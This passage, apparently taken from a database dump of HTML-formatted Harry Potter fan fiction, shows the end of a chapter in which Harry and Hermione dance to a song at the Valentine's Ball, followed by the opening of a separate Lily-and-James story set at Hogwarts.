<i>Secrets of Potions: Made Easy.</i></p><i>\n\n</i>\n\n<p>&#8220;Huh?&#8221;</p>\n\n<p>&#8220;Nothing,&#8221; said Harry casually.</p>\n\n<p>&#8220;What happened to you Harry?&#8221; asked Hermione again, stepping completely into his room and sitting in the chair that Emma had been in. &#8220;Why did you leave?&#8221;</p>\n\n<p>&#8220;You know that bad headache I had before?&#8221; said Harry, impressed with how quickly and natural his excuse came out, as Hermione nodded. &#8220;Well, it was really killing me and I headed for the hospital wing and told Madam Pomfrey about my head throbbing. She gave a potion to relieve it and said to say in bed for the rest of the night.&#8221;</p>\n\n<p>He felt guilty having to lie to Hermione like that, but it spared him the pitying Hermione would probably give him if he told her he left because he felt left out and was the only one to attend the Valentines Day Ball dateless.</p>\n\n<p>&#8220;And why aren&#8217;t you in bed then?&#8221; said Hermione with raised eyebrows.</p>\n\n<p>&#8220;I don&#8217;t need to,&#8221; said Harry simply, relieved that he wasn&#8217;t lying.</p>\n\n<p>Hermione still looked bothered.</p>\n\n<p>&#8220;But if Madam Pomfrey said -&#8221;</p>\n\n<p>&#8220;The dancing only stopped now?&#8221; said Harry with a grimace, trying to change the subject. He looked at a wall in the direction of the Great Hall as if he had x-ray vision. &#8220;But,&#8221; -There was still faint music coming from the Great Hall - &#8220;I can still hear music&#8230;&#8221;</p>\n\n<p>&#8220;The Ball isn&#8217;t over,&#8221; corrected Hermione, shaking her head. &#8220;Ernie and I took a break from dancing&#8230;&#8221;</p>\n\n<p>&#8220;You should head back down then,&#8221; suggested Harry sadly, still looking at the same spot on the wall. He could feel his heart tugging in his chest; he did not want her to leave.</p>\n\n<p>&#8220;I&#8217;m sure he can stand me being away from him for a little while,&#8221; said Hermione, crossing her legs at the knees and settling herself more comfortablely in the chair. &#8220;He knows I&#8217;m up here to check on you - You don&#8217;t mind the company for a little while more do you?&#8221; she asked hopefully.</p>\n\n<p>&#8220;Not at all,&#8221; said Harry, with a satisfaction that Hermione was with him rather than someone else. &#8220;The Ball is over for me though,&#8221; he said simply. There was a far way look in his eyes as though something was occupying mind. &#8220; And I really wanted to&#8230;&#8221;</p>\n\n<p>He paused before going on, catching himself of what he was about to say; He really wanted to dance with Hermione.</p>\n\n<p>&#8220;Wanted to what?&#8221; she asked curiously.</p>\n\n<p>&#8220;Well - I was&#8230; I was kind of hoping that - I would get to - to dance&#8230; that&#8217;s all,&#8221; said Harry in the most relaxed voice he could muster, avoiding eyes. He found it could be said with little difficulty at all, probably because he was so used to hinting to Hermione all the time. He could feel her trying to catch his gaze, then added in a whisper, &#8220;With you, actually&#8230;&#8221;</p>\n\n<p>&#8220;Me?&#8221; Hermione said softly, giving him an astonished sort of look, and blushing. &#8220;You wanted to dance with&#8230; with <i>me</i>?&#8221;</p>\n\n<p>&#8220;Would you dance with me Hermione?&#8221; asked Harry seriously, slightly frowning, looking into her eyes, his voice a little high pitched than usual.</p>\n\n<p>&#8220;Actually - I&#8217;ve&#8230; been saving a dance for you Harry,&#8221; admitted Hermione, smiling in a sheepishly cute way that he loved. &#8220;I was just&#8230; waiting for you to ask&#8230;&#8221;</p>\n\n<p>Harry, who found himself smiling now, and who had felt his heart swell with joy knowing that Hermione was actually saving a dance for him, found his fingernails very interesting at the moment. &#8220;But it&#8217;s too late for that now&#8230; I&#8217;m not even dressed -&#8221;</p>\n\n<p>&#8220;Says who?&#8221; said Hermione softly, getting up from her chair, walking around Harry&#8217;s desk, and tugging him up by the arm. &#8220;It&#8217;s not late.&#8221;</p>\n\n<p>&#8220;Hermione? What -?&#8221; said Harry uneasily, as she dragged him hand in hand onto a big circular rug right in the center of the room between the desk and the door. Hermione produced a wand from the inside of her dress robes and with a flick of her wrist, the room illuminated with a voice.</p>\n\n<p>&#8220;Thank you,&#8221; came Malia&#8217;s voice, one of the singers of <i>Wizandwitch, over </i>the ravishing applause. Hermione smiled with a pleased sort of look and stowed her wand away.</p>\n\n<p>&#8220;Impressive,&#8221; grinned Harry faintly, looking around at the upper part of the room, like Hermione did, as if he were to find speakers. Though many floors away, it sounded like he and Hermione were in the middle of Great Hall, the applause and Malia&#8217;s voice loud and clear. </p>\n\n<p>&#8220;This next song is dedicated to you ladies out there,&#8221; came Malia&#8217;s voice passionately, as the applause dimmed, &#8220;who came with your date tonight just as friends&#8230; and you wonder&#8230; why your heart is beating so quickly&#8230; and to you guys out there&#8230; a message that the girls may be telling you&#8230;&#8221;</p>\n\n<p>&#8220;Dance with me?&#8221; said Hermione earnestly, smiling up at Harry, just as a soft, yet mild introduction music filled the room. </p>\n\n<p>Harry blinked and nodded sincerely, feeling his insides fill with butterflies. He stepped closer to Hermione and put one hand on her waist, preparing to hold her other hand with his free one. Instead, she pressed her hands to his chest and snaked her hands up to his collarbone, over his shoulders, and around his neck, hugging him around his upper back; she was so close to him that she rest the side her head on the upper part of his shoulder.</p>\n\n<p>Harry swallowed looking down at the side of Hermione&#8217;s head, slightly nervous at her take in action of how close and comfortable she made herself with him. How should he hold her now? The usual formal way of dancing, which was what Harry was planning on doing, didn&#8217;t seem to fit when Hermione was holding him with both arms around his neck.</p>\n\n<p>He cautiously snaked both hands around her waist, anticipating a squirm of uncomfortableness or a retort. Hermione didn&#8217;t object to anything; she seemed to sigh in content when Harry interlocked his fingers behind her lower back. They already began to sway to the beginning introduction to the song before Malia started singing.</p>\n\n<b><i><p>I could lose, my heart tonight,</p>\n\n<p>If you, don&#8217;t turn and walk away.</p>\n\n<p>Cuz the way I feel I might, lose control,</p>\n\n<p>And let you stay.</p>\n\n<p>Cuz I could, take you in arms,</p>\n\n<p>And never, let go.</p>\n\n</i></b><p>Harry breathed in deep the scent that was Hermione; it engulfed his sinuses and intoxicated him so much he felt light-headed. This time, the song seemed to be in the eyes of a girl, who apparently loved some guy.</p>\n\n<p>Harry closed his eyes lazily and once again, however, the words to the song were so powerful, his mind clicked and images popped into his head. <i>He had an image of himself holding Hermione somewhere outside, who was gazing intently at him, their bodies touching, a look of longing on her face, and Harry staring avidly back at her. He shifted, but Hermione shifted back, pulling him closer to her. </i></p><i>\n\n</i><p>Harry smiled.</p>\n\n<b><i><p>I could fall, in love, with you.</p>\n\n<p>I could fall, in love, with you.</p>\n\n</i></b><p><i>Harry&#8217;s image vanished and it blurred into another image of him dragging Hermione around somewhere in Hogsmeade. Hermione, looking jovial and having a great time, though there was a slight pained yet happy look to her eyes, that said, &#8216;I wish he was my boyfriend&#8230; He&#8217;s so perfect&#8230;&#8217;</i></p><i>\n\n<p>Harry looked as though he was having the best time of his life, just spending time with one of his best friends, however didn&#8217;t take notice of Hermione&#8217;s eyes, which hid a daring secret.</p>\n\n</i>\n\n<p>Harry instinctively tightened his grip around Hermione as they danced and swayed slowly to the beautiful song. Did Hermione notice? What would she say? He become conscious about what he had done and became worried, but as Hermione tightened her grip around him in response, that moment passed quickly.</p>\n\n<b><i><p>I can only wonder how,</p>\n\n<p>Touching you, would make me feel.</p>\n\n<p>But if I take that chance right now,</p>\n\n<p>Tomorrow, will you want me, still.</p>\n\n</i></b><p>Harry sighed nervously and tried to find some way to hold Hermione stronger without her noticing.</p>\n\n<p>Hermione shifted her arms that were wrapped around Harry and dragged them down so that her elbows were bent and sandwiched between their bodies. Her hands, however, cupped the sides of Harry&#8217;s neck just under his jaw. </p>\n\n<b><i>\n\n</i></b><p>His eyes went wide with surprise as he looked down at her. Her eyes were closed, her head back slightly, and her lips slightly parted as she caressed the side of his face with her soft hands, as if she were trying to guess what was in front of her by feeling it. </p>\n\n<b><i><p>So I should, keep this to myself,</p>\n\n<p>And never, let you know&#8230;</p>\n\n<p>I could fall, in love, with you.</p>\n\n<p>I could fall, in love, with you.</p>\n\n</i></b>\n\n<p>She let her head bobble forward and their foreheads consequently touched. Harry was pretty sure Hermione knew very well what she was doing; she was breathing deep and panting softly to herself, her fingers sometimes just trailing his skin and other times her palms on full contact around his jawbone, her eyes still closed.</p>\n\n<p>Harry&#8217;s mind raced. What was it that she was trying to do? Whatever it was, he let her continue because her hands on his face felt too good for him to protest.</p>\n\n<b><i><p>And I know it&#8217;s not right,</p>\n\n<p>And I guess I should try,</p>\n\n<p>To do what I should do,</p>\n\n<p>But I could fall in love, fall in love, with you&#8230;</p>\n\n<p>I could fall, in love, with you&#8230;</p>\n\n</i></b>\n\n<p>Harry couldn&#8217;t explain it. Perhaps it was when Hermione pressed her body more firmly against him. Maybe it was when Hermione shifted her face in such a way so that their noses were now touching. Or maybe because they were magically connected by the mind&#8230; but somehow&#8230; strangely&#8230; the song felt&#8230;different. It didn&#8217;t feel like a song was being sung to the both of them and they were dancing to it, but&#8230; it felt more like&#8230; Hermione was talking to him&#8230; through the song&#8230; </p>\n\n<b><i><p>So I should, keep this to myself,</p>\n\n<p>And never, let you know,</p>\n\n<p>I could fall, in love, with you&#8230;</p>\n\n</i></b><p>&#8220;No&#8230;&#8221; whispered Harry gently, he too closing his eyes like Hermione, their foreheads still touching. &#8220;Don&#8217;t keep it to yourself&#8230;&#8221;</p>\n\n<p>Transfixed at how daring he had said those words, unsure what had brought him to say them. Though aware what he had just said, it was of course, assuming that Hermione was &#8220;talking to him through the song.&#8221; But what if she wasn&#8217;t? She probably think him mental now that he had just said, &#8220;No, don&#8217;t keep it to yourself,&#8221; out of the blue.</p>\n\n<p>&#8220;I&#8217;m scared Harry&#8230;&#8221; Hermione whispered, her voice trembling. &#8220;I&#8217;m scared to tell you&#8230;&#8221;</p>\n\n<p>&#8220;Tell me what&#8230;?&#8221; breathed Harry. His mind became suddenly odd and clear. As far as he was concerned, it was just him and Hermione; nothing else mattered now that she was in his arms while they talked freely. They were still swaying to the song, their bodies close together, their foreheads touching, their eyes still closed and never wavering, but Hermione didn&#8217;t answer him; she just shook her head side to side a fraction of an inch and bit her bottom lip.</p>\n\n<p>&#8220;Is it wrong to like me?&#8221; sighed Harry softly with dejection.</p>\n\n<p>&#8220;No&#8230; it&#8217;s not&#8230;&#8221; sighed Hermione delicately shaking her head slightly. She gripped the sides of his neck and pressed her forehead into his more firmly. Though his eyes were closed, Harry could feel her warm breath near his lips.</p>\n\n<b><i>\n\n<p>I could fall, in love, with you&#8230;</p>\n\n<p>I could fall in love, I could fall in love, with you&#8230;</p>\n\n</i></b><p>&#8220;Could you?&#8221; sighed Harry tenderly, as if it was Hermione that had said this instead of the song.</p>\n\n<p>&#8220;I could do more than that&#8230;&#8221; breathed Hermione soothingly, not opening her eyes. &#8220;I could&#8230; I could be your&#8230;&#8221;</p>\n\n<p>But Harry didn&#8217;t hear what Hermione could be. Though his eyes were still closed, he knew that she was much to close&#8230; </p>\n\n<b><i><p>I could fall&#8230; fall in love&#8230; with you&#8230;</p>\n\n<p>I could fall&#8230; in love&#8230; with&#8230; you&#8230;</p>\n\n<p></p>\n\n</i><p>A/N: </p>\n\n<p>To all of you that read my stories&#8230;</p>\n\n<p>Thank you very much! You are the ones that keep me going with my writings. </p>\n\n<p>To those that give me constructive criticism&#8230;</p>\n\n<p>Thank you too! Sometimes I need a good kick in the !@#$%.</p>\n\n<p>To those that hate this story&#8230;</p>\n\n<p>I&#8217;m sorry that it&#8217;s not going your way, but if you really hate it so much, don&#8217;t read it.</p>\n\n<p>To those that wonder why this story is so damn long&#8230;</p>\n\n<p>You know something? I&#8217;m just as surprised to see how long this fic came to be. This story came to me in a dream one night. Since the dream only lasted as long as I slept, it seemed like I could get it all in, but turns out, it&#8217;s a lot longer than I thought it would be when you have to put it into words.</p>\n\n<p>To all of you in general&#8230;</p>\n\n<p>This story somehow seems rushed and garbled in some places. I have it all in my head, the trouble is that I have a very hard time putting it into words for other people to see and understand (I want to make sure that all of you see it in every detail that I see it).</p>\n\n<p>I&#8217;m leaving for Vegas on July 2<sup>nd</sup> and I&#8217;ll be there for about two weeks, which will get in the way of my updates&#8230;</p></b></font>\n\n '),
	(170, 1, '\n\n<b></b><p><b>DISCLAIMER: </b>As you will notice reading this fic, I&#8217;m no JKR. Nothing belongs to me and I&#8217;m not making any money with it.</p>\n\n<p>&nbsp;</p>\n<b></b><p><b>AUTHOR&#8217;S NOTES: </b>This is my take on how Lily and James came to be. I tried to make it different but there are so many fics on them out there that it&#8217;s nearly impossible. I hope you like it and don&#8217;t forget to read and review!</p>\n\n<p>A big thank you to my wonderful beta Charlotte Black!</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>                    </p>\n\n<p>&nbsp;</p>\n<p>                                                    </p>\n\n<p>                                                         <b><i>Framboise et Coquelicot</i></b></p><b><i>\n</i></b><i>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n</i><b><u></u><p><u>Chapter one</u>: To get your friend back</p>\n</b><i>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The late afternoon sun was streaming through the kitchen window, its beams shining on the spotless tile floor. </p>\n\n<p>&quot;Lily darling, how many jars do you intend to fill with that sticky stuff?  We don&#8217;t have that much room in the cupboards,&quot; the man said, eyeing the array of glass jars standing on the kitchen counter in neat rows, looking very much like small soldiers.</p>\n\n<p>Lily turned towards her husband, a wooden spoon in her hand coated with a thick red mixture, a scowl on her face.</p>\n\n<p>&quot;For your information, that &#8216;sticky stuff&#8217; is called raspberry jam.  If you had paid a little more attention to the arranging of the house when we first moved in, you would have known that I put a special charm on those cupboards. You could put your mother&#8217;s entire collection of Stupefied garden gnomes in them and there would still be some room to stuff you in there to keep them company.&quot;</p>\n\n<p>The man smiled and reached to pull on a lock of Lily&#8217;s dark red hair.</p>\n\n<p>&quot;Oh, aren&#8217;t we touchy today, my little Poppy.  I should have known better than to tease you on your &#8216;let&#8217;s make raspberry jam&#8217; day.&quot;</p>\n\n<p>Lily opened her mouth to deliver a well-deserved put-down but all her anger vanished when she felt another firm mouth close on hers.  She melted in his embrace as soon as he pulled her to him, and she locked her arms around his neck. Some raspberry jam was dripping into her husband&#8217;s hair from the spoon she was still holding, and her fingers were sticky from too many &#8216;dip and tastes&#8217;, but she felt perfectly content; she had everything she could wish for.  She pulled back slightly after a while, and her green eyes twinkled mischievously.</p>\n\n<p>&quot;Well well well Mr Diplomat, is that all you can do to make me forgive you?  I must say, I am quite disappointed.  I sincerely hope you can do better.&quot;  Lily pressed herself seductively against his chest.</p>\n\n<p>&quot;Oh, I assure you I can.&quot;</p>\n\n<p>His husky voice sent shivers down her spine, and she had to close her eyes when he lightly ran a hand though her hair, along her jaw, down her neck&#8230;  Lily had never known that making raspberry jam could make you feel so good.  She would definitely have to do it mo -</p>\n\n<p>&nbsp;</p>\n</i><p>BANG!</p>\n\n<p>&nbsp;</p>\n<p>Lily jerked awake and found herself sitting at a desk in a Hogwarts&#8217; classroom.  She blinked and looked around, trying to locate the source of the noise that had distracted her from a most agreeable dream.  Her eyes came to rest soon enough on James Potter and Sirius Black, who were looking, or at least trying to look, quite sheepish.  Professor Binns was hovering above some broken glass and a small pool of black ink, his ghostly eyebrows knit together in a scowl, staring down at the pair.</p>\n\n<p>&quot;Parker!  Brown!&quot; he barked.  &quot;What is the meaning of this?&quot;</p>\n\n<p>&quot;It&#8217;s nothing, Professor: I just knocked over my ink bottle in my eagerness to take some notes on the seventy ninth Goblin Rebellion,&quot; Sirius answered.  When he saw that the professor was not very impressed by his explanation, he put on his most charming smile and quickly added, &quot;I am sorry for disrupting the lesson.&quot;</p>\n\n<p>Binns grunted but did not pursue the matter further.  &quot;Just clean up your mess, will you,&quot; he said, floating back to his desk.</p>\n\n<p>&quot;Now, where was I before Mr Brook interrupted me...  Ah yes! Melvolin the Lunatic was quartered publicly after he was found guilty of...&quot;</p>\n\n<p>The class fell back into a stupor again as Binns droned on.  Looking idly around her, Lily noticed that James and Sirius were whispering animatedly, but as discreetly as they could.  Now, that was odd, she thought. The pair usually snored their way through History of Magic, probably catching up on the hours of sleep they lost while wandering around the school at night with Remus Lupin and Peter Pettigrew.  But Remus and Peter had promptly gone back to sleep and were oblivious to what was going on between their two friends seated at the desk in front of them.  To Lily, it looked like James and Sirius were having an argument of some sort.  Well, they can argue all they want, she thought, yawning.  She didn&#8217;t give a damn.  Now, if only she could go back to her nice dream before the end of the -</p>\n\n<p>&quot;Well, that&#8217;s it for today, class. You will read the chapters concerning the eightieth Goblin Revolution in your textbooks for next time. Don&#8217;t forget a small test is always a possibility.&quot; </p>\n\n<p>Oh well.  It would have to wait for another time.  While stuffing her blank sheets of parchment, her quill and ink bottle into her bag, she wondered what was wrong with her lately.  She was not one to fall asleep in class, even in History of Magic.  Classes had started on Monday, September 2nd and today was Friday the 6th of that same month.  Not even a week back at Hogwarts and already slacking.  She would have to pull herself together, and quick.  Comforted in her resolution, she suddenly remembered she had a prefect meeting to attend, History of Magic being the last lesson of the day.  She shouldered her bag and left the classroom in a hurry.  Still, the dream had been more than nice. Her &#8216;husband&#8217; had called her &#8216;<i>Poppy&#8217;, </i>her occasional nickname, which she usually hated.  It was funny, she couldn&#8217;t remember what he looked like.  She couldn&#8217;t remember his name either.</p>\n\n<p>&quot;I must be getting really desperate to conjure up a dream with a charming and handsome faceless husband,&quot; she muttered to herself as she walked through the corridors.  She was feeling incredibly lonely these days; well, for quite a long time, actually.  It was like there was something important missing from her life.  Sure, she had friends, and very good friends at that, but still the void was there.  She longed for that contentment she had felt in her dream.  And also, though it was more deeply buried and more confusing, she was afraid of that madman Voldemort cavorting around.  But he would surely be shipped to Azkaban soon, wouldn&#8217;t he?  &quot;That&#8217;s right Lily, keep deluding yourself&quot;, she snorted.  She remembered the first time she had heard his name, in her third year.  She remembered the feeling of dread she had experienced, the cold shivers running down her spine...</p>\n\n<p>&quot;Hey Lily!  Wait for me!&quot;</p>\n\n<p>The voice woke Lily from her thoughts, and she turned around to see James Potter jogging towards her, smiling.</p>\n\n<p>&quot;I thought you said we could walk to the meeting together?&quot; James said as he stopped in front of her, not a bit out of breath.</p>\n\n<p>Lily stared at him blankly; when on earth had she said that?  Seeing her clueless expression, James patiently explained, &quot;You told me this morning after breakfast, remember?&quot;</p>\n\n<p>She must be really far gone if she couldn&#8217;t even remember a conversation she&#8217;d had only a few hours ago.  Lily Evans never forgot anything, it simply wasn&#8217;t in her nature.  Her eyes wandered over James&#8217; face, examining the features she knew so well.  His dark blue eyes looked concerned behind his round glasses, and for once, his black hair was not in the way either.  She rather liked the new haircut, she thought idly before realising he was waiting for her to say something.  She smiled sheepishly.  &quot;I&#8217;m sorry James, I don&#8217;t know what&#8217;s wrong with me today.  My mind has been wandering in the clouds and I forgot.&quot;</p>\n\n<p>James shrugged; he didn&#8217;t seem put out.  &quot;Happens to everyone.&quot;</p>\n\n<p>&quot;Well, it doesn&#8217;t usually happen to me,&quot; Lily said as she started walking again.  &quot;It feels strange.&quot;</p>\n\n<p>James laughed as he forced himself to walk slowly to stay close to Lily.  He was very tall for his age, and her head barely reached his shoulder.  She looked up at him, frowning, and he grinned.  &quot;Welcome to the real world, Princess.  I can give you a tour if you want, now that you&#8217;ve joined us mere mortals in this puzzling place we like to call Earth.&quot;</p>\n\n<p>&quot;Oh, shut up!&quot; she said playfully.</p>\n\n<p>In fact, she felt a bit confused.  She would usually have accompanied her remark with a shove on his shoulder or a small kick in the shin, like she still did with Remus and Sirius, and occasionally Peter.  The truth was she sometimes felt uneasy around him.  She didn&#8217;t know what to make of him, and it bothered her.  They had met at King&#8217;s Cross Station when she was trying to get onto Platform 9 &#190; for the first time.  She had spent the whole journey to Hogwarts with him and his friends in a compartment all to themselves.  They had been relatively close ever since, though having found her own friends afterwards, she did not really hang around with them or seek them out on a regular basis.  Things had changed when she and James had been appointed prefects to represent Gryffindor House.  They were thrown together much more, and sparks flew when they argued on some point or other.  She had found that James could be quite resentful, and certainly held grudges for a long time.  She thought of the biggest fight they&#8217;d had, just after New Year, and of the effects it still had on their friendship.  This year&#8217;s Head Boy, Howard Clint, then a 6th year Ravenclaw prefect, had asked her out repeatedly throughout the year and she had finally agreed to spend New Year&#8217;s Eve with him.  It had not been very romantic.  They had patrolled Hogwarts corridors late at night in case any of the few students staying over the holidays decided to start the year with a bang.  As it happened, a couple of Slytherins <i>did</i> have that in mind, and blew out the second floor girls&#8217; toilets while Lily and Howard were checking the Astronomy Tower.  The incident had been discussed during the next prefect meeting, and James had practically blown up.  He had accused Lily of neglecting her duties, of using the patrol as an excuse to spend the night in the Astronomy Tower with Howard.  Lily had not been the only one he had lashed out at, Howard received his share of the reprimand.  It took nearly two months for James to start speaking to her even cordially again.  Lily suspected it was because of the gentle persuasion of Maureen that he finally gave in and made up with her.  Maureen was a very pretty Hufflepuff girl James had suddenly shown up with on Valentine&#8217;s Day.  James had never dated anyone before; he didn&#8217;t seem interested, so it was quite unexpected.  Lily was surprised to find she liked the girl quite a lot, and although James had broken up with her long before the end of the year, she still talked to Maureen from time to time.  But Lily had never felt very much at ease with James afterwards; she felt that he had not yet forgiven her.  Which was completely unfair in Lily&#8217;s opinion.  It wasn&#8217;t her fault something had happened.  What real use could two patrolling prefects be in a castle the size of Hogwarts? The Astronomy Tower was very popular with the students, especially with couples in search of privacy, and it had seemed logical to search it intensively.  But of course a mind like James&#8217; would jump to the wrong conclusion.  What she resented the most, though, was that he had accused her of letting her relationship get in the way of her prefect duties although it was absolutely untrue. And on top of all that, it was perfectly acceptable for <i>him</i> to have someone in his life.  Because Maureen hadn&#8217;t been the last girlfriend he had. Oh, he wasn&#8217;t exactly one a playboy; he was decent boyfriend material, but he had certainly taken advantage of his good looks on several occasions.</p>\n\n<p>All her ruminations would have landed her right in the vanishing step of the south staircase if James hadn&#8217;t stopped her in time.  She had Quidditch to thank for his very good reflexes.</p>\n\n<p>&quot;Careful here, daydreamer,&quot; he said gently, removing the hand he had placed on her arm.  &quot;You don&#8217;t want to visit the hospital wing during the first week back, do you?&quot;</p>\n\n<p>His blue eyes were twinkling the way they used to before last year&#8217;s spectacle, and Lily felt instantly better.  He was back, her friend was back.  How could she have had all those sombre thoughts?  Everything was fine, he was here, like he always had been since they first met; except for those horrible two months, of course.  She did not pause to ask herself why James had reverted back to his old self.  Perhaps something had been the matter with her after all.  In any case, it was good to be back from whatever dreary place she had been sulking in lately. She put on a sultry smile and batted her eyelashes seductively. She loved teasing him. &quot;Why James, I thought it was every guy&#8217;s dream to sweep me off my feet and carry me to the hospital wing.&quot;</p>\n\n<p>James seemed a little taken aback at first, but recovered quickly and leaned forward, his lips nearly grazing her ear.  &quot;Lily, I assure you, you have no idea what I picture us doing in my dreams,&quot; he whispered.</p>\n\n<p>Lily shivered and closed her eyes briefly.  When she opened them again James had pulled back and was grinning from ear to ear, a little flame dancing in his eyes.</p>\n\n<p>&quot;It&#8217;s good to have you back Evans,&quot; he said.  &quot;We&#8217;ve missed you.&quot;</p>\n\n<p>&quot;Oh come on!  I wasn&#8217;t that bad, was I&quot;</p>\n\n<p>&quot;Yes, you were.&quot;</p>\n\n<p>&quot;Shut up, you insufferable prat!&quot;</p>\n\n<p>This time she didn&#8217;t have any problem with smacking his shoulder.  Yes, it was great to have her friend back.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The Gryffindor common room was particularly noisy that evening.  All the conversations had just one subject: the announcement Dumbledore had made at dinner.  Every one had been surprised, except for the prefects who had been told during the first meeting of the year.</p>\n\n<p>Lily was sitting on the rug close to the fire with her best friend Marian McMillan, a pretty black haired witch of a happy disposition.  Tonight, however, her usually smiling face wore a preoccupied expression and her light blue eyes were staring blankly into the fire.  She sneaked a glance at Lily, who was engrossed in a book the size of <i>Hogwarts, a History</i>, apparently oblivious to the excited chatter going on around them.  Marian knew better than to try and talk to her friend when she was reading, but she couldn&#8217;t help herself.</p>\n\n<p>&quot;Why do you think they suddenly decided to re-open the Duelling Club?&quot; she blurted out.</p>\n\n<p>Lily looked up from her book and raised an eyebrow.</p>\n\n<p>&quot;I mean,&quot; Marian went on, &quot;it&#8217;s not as if any of the students asked for it.  I went to the library after dinner to read up on it, and I found out that there hasn&#8217;t been a Duelling Club since 1824.  So why now?&quot;</p>\n\n<p>Lily sighed.  &quot;Marian, you know why as well as I do, as well as most of the students do for that matter.&quot;</p>\n\n<p>&quot;Well, they don&#8217;t act as if they know. Look at them,&quot; Marian said, frustrated, turning her head away from the fire to glare at the various groups of excited Gryffindors scattered about the common room.  &quot;They all look so eager and happy about it.  Can you tell me what there is to be eager and happy about?&quot;</p>\n\n<p>Lily understood how her friend felt, but she also understood why the others acted like they did, and she tried to explain.  &quot;Marian, every one is afraid of Voldemort.  He has been very daring during the summer.  People are afraid to even say his name now.  Most of the students - well, most of the older students, anyway - know that this club is here to train us when it comes to attack and defence so we are prepared for the dark times to come.  They try to make the most of it by pretending it&#8217;s just another way to prove the superiority of their own House.  We&#8217;re still kids, Marian.  Dumbledore didn&#8217;t announce the real reason behind the club directly so that we can act like normal teenagers while we are at Hogwarts!&quot;</p>\n\n<p>In fact, Dumbledore hadn&#8217;t announced half of what was going to happen this year, but Lily wisely kept that to herself.  It was classified prefect information after all, and the whole thing would be revealed at the special assembly scheduled for Sunday morning.</p>\n\n<p>Marian had been plucking at the thick rug angrily during her friend&#8217;s tirade, and the small lion that had been the recipient of her agitated treatment looked more like a sickly overgrown golden rat with half its fur missing.  Marian restored it to its original state with an angry wave of her wand before turning to Lily.  &quot;I don&#8217;t understand how you of all people can stay that passive.  You\'re Muggleborn, Lily.  You should -&quot;  She stopped suddenly, she wasn&#8217;t getting anywhere like that.  &quot;Look,&quot; she said more calmly.  &quot;I&#8217;m tired, I don&#8217;t know what I&#8217;m saying anymore.  I&#8217;m going to bed.&quot;</p>\n\n<p>She got up and headed for the staircase leading to the 6th year girls&#8217; dormitory.  It was now Lily&#8217;s turn to find the fire fascinating.  She wouldn&#8217;t let what Marian had said bother her, she told herself.  She didn&#8217;t need the worry.  A lot of people considered Lily very strong, they thought she could handle anything, and that&#8217;s why she was nearly guaranteed to be Head Girl next year.  She didn&#8217;t want them to know how fragile she really was.  It often frightened her to realise how little it would take for her to crumble.  She had to show a diamond-hard exterior to the world if she wanted to be considered for the Auror training she was dreaming of.  She couldn&#8217;t let her worries for her family and friends overcome her.</p>\n\n<p>&quot;Lily?&quot;</p>\n\n<p>The voice was soft and a bit hesitant, as if doubtful of its welcome.</p>\n\n<p>&quot;What do you want Remus?&quot; she asked without taking her eyes from the flames.</p>\n\n<p>&quot;Well, you&#8217;ve been staring at that fire with such fascination that we thought you might consider jumping into it so you two could get better acquainted,&quot; Remus tried to joke.  However, the worry in his voice was hard to miss.</p>\n\n<p>Lily turned her head to her left.  James, Sirius and Peter were sitting at their regular table, trying not to look too interested in what was going on near the fire.  By &#8216;we&#8217;, Remus meant them, the Marauders.  The famous pranksters of Hogwarts.  She caught James&#8217; worried eyes before hastily turning to Remus.</p>\n\n<p>&quot;So, you were sent to be my noble saviour?&quot; she asked with a smile.</p>\n\n<p>She had always liked Remus without knowing why.  It had taken her some time to trust the other three boys completely, but she had always felt safe with Remus right from the start.  That same Remus was presently squirming a little as she gazed up at him from her position on the rug.  Was that a blush on his normally pale cheeks?  Or was it the heat from the fire?</p>\n\n<p>&quot;Er...&quot; he started uneasily.  &quot;Actually I was sent here to ask you if you would play a game of chess with me.  Those idiots,&quot; - he gestured vaguely in the direction of the three boys sitting in their corner - &quot;told me they weren&#8217;t interested.  So here I am.&quot;</p>\n\n<p>Lily knew it was a lie, and a bad one at that.  Sirius never passed up an opportunity to try and beat Remus.  You would never be able to tell from his tranquil exterior that Remus could be a real hellion as well as a wonderful strategist.  He and Sirius had an ongoing friendly little competition between them as to who could do better than the other.  So far it was a draw.  She let Remus&#8217; lie pass; she could really do with the company.</p>\n\n<p>&quot;I would love to play chess with you, Remus,&quot; she said.</p>\n\n<p>Remus grinned and pulled her to her feet.  He was a bit smaller than James but a bit bulkier.  She nevertheless still had to look up to meet his kind grey eyes, which were twinkling mischievously at the moment.</p>\n\n<p>&quot;Since you are being so nice,&quot; he said, &quot;I will try to give you the chance to actually win a game for once.&quot;</p>\n\n<p>&quot;Aren&#8217;t you the gallant one tonight!  Who gave you some lessons?  Can&#8217;t be James, and it certainly wasn&#8217;t Sirius either...&quot;  Lily pretended to ponder the matter, and Remus laughed.</p>\n\n<p>&quot;Nope!&quot; he said.  &quot;I&#8217;m self-taught.  I must be really good if you appreciate it so much.&quot;</p>\n\n<p>Lily passed a surprisingly good evening with Remus considering the circumstances.  They talked and laughed together while playing, behaving as if they didn&#8217;t have a care in the world.  Despite Remus&#8217; words, she didn&#8217;t win a single game of the three they played. It was one thing to act happy and enjoy the false sentiment of security it provided, but it was another to beat Remus at chess.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>As she stepped into her dormitory, all her gaiety abandoned her quite suddenly as she looked around the room she had occupied since her first year at Hogwarts.  She could see the moon shinning high in the sky through the window, bathing the room in an ethereal light.  Its beams fell, seemingly at random, on different objects scattered around the place.  The Teen Witch Weekly thrown carelessly on the floor, a blond model waving and smiling on the cover; the wizarding make-up case opened on Amy Langsbury&#8217;s bedside table; a solitary glittering high-heeled sandal at the foot of Marian&#8217;s bed, its sister probably forgotten in some other place.  They had spent the previous evening dressing up and trying some make-up on, the goal being to look like the blond Teen Witch model whose toothy smile appeared even more dazzling in 